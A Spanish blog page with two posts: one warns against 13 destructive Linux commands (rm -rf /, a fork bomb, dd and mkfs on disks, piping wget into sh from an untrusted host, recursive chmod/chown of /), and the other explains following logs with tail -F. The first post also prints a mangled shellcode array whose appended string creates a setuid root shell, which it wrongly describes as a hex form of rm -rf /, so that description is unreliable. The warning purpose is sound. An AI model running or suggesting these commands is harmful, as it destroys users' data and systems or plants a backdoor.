Mostrando entradas con la etiqueta comandos. Mostrar todas las entradas
Mostrando entradas con la etiqueta comandos. Mostrar todas las entradas

lunes, 16 de junio de 2014

Comandos peligrosos en Linux que siempre debemos evitar

Cuando comenzamos nuestras andadas en el mundo de la informática, ya sea en Windows, Mac OS X o incluso en Linux, es muy común encontrar información errada en foros y chats provenientes de personas que no tienen las mejores intensiones al momento de dirigirse a nosotros.
Dentro de estos consejos o comentarios pueden existir reales amenazas a nuestro sistema e información, más aún cuando nuestro conocimiento acerca del sistema operativo que usamos es limitado o en el peor de los casos nulo.

Existen varios comandos peligrosos en Linux que pueden llegar a ser desastrosos para nuestro sistema si los llegamos a ejecutar, por eso es mejor conocerlos y tenerlos presentes al momento de recibir “ayuda” en lugares públicos y poco confiables relacionados con este sistema operativo.

A continuación listaré 13 de ellos:


rm -rf /
Este comando elimina recursivamente y de forma forzada todos los archivos y directorios almacenados en la partición raiz.

char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Esta es la versión hexadecimal del comando rm -rf / que incluso puede engañar a los mas conocedores.

mkfs.ext3 /dev/sda
Este comando puede formatear o eliminar todos los archivos contenidos en el dispositivo mencionado después del comando mkfs.

:(){:|:&};:
Conocido como la bomba fork, este comando le pide a tu sistema ejecutar una gran cantidad de procesos hasta que el sistema se bloquea, pudiendo resultar en el daño de información.

comando > /dev/sda
Este comando escribirá datos en bruto en un bloque que usualmente dañara el sistema de archivos resultando en la perdida de información.

wget http://fuente_poco_confiable O | sh
Nunca descargues scripts o código desde una fuente en la que no puedas confiar plenamente, mucho menos si la vas a ejecutar automáticamente una vez descargada.

mv ~/* /dev/null
mv /home/tucarpetaprincipal/* /dev/null
Este comando moverá todos los archivos almacenados en tu carpeta principal a un lugar que no existe, perdiendo de forma definitiva toda tu información.

dd if=/dev/urandom of=/dev/sda
Este comando llenará con datos aleatorios toda la partición de tu disco duro.

chmod -R 777 /
Este comando concederá permisos de escritura a todo tu sistema.

chmod 000 -R /
chown nobody:nobody -R /
Este comando elimina todos los accesos privilegiados a todos los usuarios en el sistema excepto Root.

yes > /dev/sda
Este comando llenará tu disco duro con la letra ‘y‘.

rm -rf /boot/
Este comando elimina todos los archivos del kernel, initrd y GRUB/LILO necesarios para iniciar el sistema.

rm /bin/init
cd / ; find -iname init -exec rm -rf {} ;
Este comando borrará todos los archivos que contengan la palabra ‘init‘, incluso ‘/sbin/init‘.

Estos no son los únicos comandos peligrosos en Linux y probablemente ustedes conocerán muchos más, así que espero los compartan con nosotros a través de los comentarios.


Fuente | Mitesh Shah
Fuente:2 http://emslinux.com/comandos-peligrosos-en-linux-que-siempre-debemos-evitar/

miércoles, 14 de mayo de 2014

Hacer el seguimiento de un log en UNIX

Una buena costumbre en todo programa informático es la creación de un buen log del sistema que estás creando. Cuanto más detallado sea, más fácil será encontrar un error inesperado o una incidencia compleja.
El problema viene a veces que sumergirse en el log de un sistema que está en continuo uso puede ser algo tedioso. Más de una vez me he encontrado a un compañero bajándose todo el fichero de log (de varios megas) para revisar una traza de algo que acaba de probar.

Realizar esa acción una vez… bueno, pero hacerlo constantemente con cada prueba que se realiza, puede ser algo desesperante.

Bueno, pues como el conocimiento se comparte, aquí va un comando que ejecutaremos en un terminal remoto (PUTTY o similar) que facilita mucho el seguimiento en vivo de un log en un sistema UNIX (y derivados):

tail -F nombre_fichero.log

Con esta instrucción veremos en tiempo real el fichero que le 
indiquemos, haciendo scroll automático con las nuevas trazas que vayan 
apareciendo. Y si estamos buscando una palabra o identificador en 
concreto y queremos obviar  el resto de trazas, utilizaremos el 
siguiente comando:

tail -F nombre_fichero.log | grep palabra

Al igual que la anterior, veremos el contenido del fichero en tiempo real, pero únicamente aparecerán las líneas que contengan la palabra que indiques.


En ambos casos, para detener la instrucción y volvamos a la línea de comando, pulsaremos Ctrl-C

Fuente:
http://fsandin.wordpress.com/2010/12/29/hacer-el-seguimiento-de-un-log-en-unix/

Documentos de apoyo:
http://www.ubuntu-es.org/node/137747
http://www.marioalberto.com.mx/linux/linux.php